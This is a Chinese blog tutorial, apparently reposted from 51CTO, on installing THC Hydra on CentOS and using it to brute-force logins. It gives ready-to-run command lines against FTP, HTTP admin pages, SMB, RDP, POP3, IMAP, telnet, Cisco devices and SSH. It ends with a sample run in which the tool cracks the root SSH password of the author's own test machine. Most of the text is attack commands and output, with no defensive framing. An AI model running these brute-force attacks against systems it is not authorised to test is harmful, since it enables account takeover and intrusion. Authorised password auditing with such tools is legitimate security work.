天天看点

linux实现ssh密码暴力破解

hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。可支持:

TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, 

REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak

Cisco auth, Cisco enable,AFP, LDAP2, Cisco AAA等各类主流服务进行密码破解

实验环境

centos-5.5

实验软件

openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel cmake gcc gcc-c++

subversion-devel

hydra-7.0-src.tar.gz

libssh-0.4.8.tar.gz

安装

yum installopenssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel cmake gcc gcc-c++ subversion-devel

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

make install

/sbin/ldconfig

tar zxvf hydra-7.0-src.tar.gz

cd hydra-7.0-src

./configure

touch users.txt    次文件为破解密码的用户名

touch password.txt    次文件为破解密码的密码

如果软件在安装中没有出现error,证明安装成功

hydra支持GUI图形界面,不过习惯还是命令好用

使用

hydra

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程

ftp

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

get方式提交,破解web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/  

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

https

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

cisco

hydra -P pass.txt 10.36.16.18 cisco

hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

smb

hydra -l administrator -P pass.txt 10.36.16.18 smb

pop3

hydra -l muts -P pass.txt my.pop3.mail pop3

rdp

hydra ip rdp -l administrator -P pass.txt -V

http-proxy

hydra -l admin -P pass.txt http-proxy://10.36.16.18

imap

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN# hydra C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

telnet

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

验证

hydra -L users.txt -P password.txt 192.168.0.102 ssh

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-06 10:08:38

[DATA] 16 tasks, 1 server, 28 login tries (l:4/p:7), ~1 try per task

[DATA] attacking service ssh on port 22

[STATUS] attack finished for 192.168.0.102 (waiting for children to finish)

[22][ssh] host: 192.168.0.102 login: root password: 1

1 of 1 target successfuly completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-06 10:09:02

192.168.0.102,为本机iP,为了测试所以写了很简单的密码

如果有具体使用不懂的,可以使用man

本文转自 mailfile 51CTO博客,原文链接:http://blog.51cto.com/mailfile/1324077,如需转载请自行联系原作者

继续阅读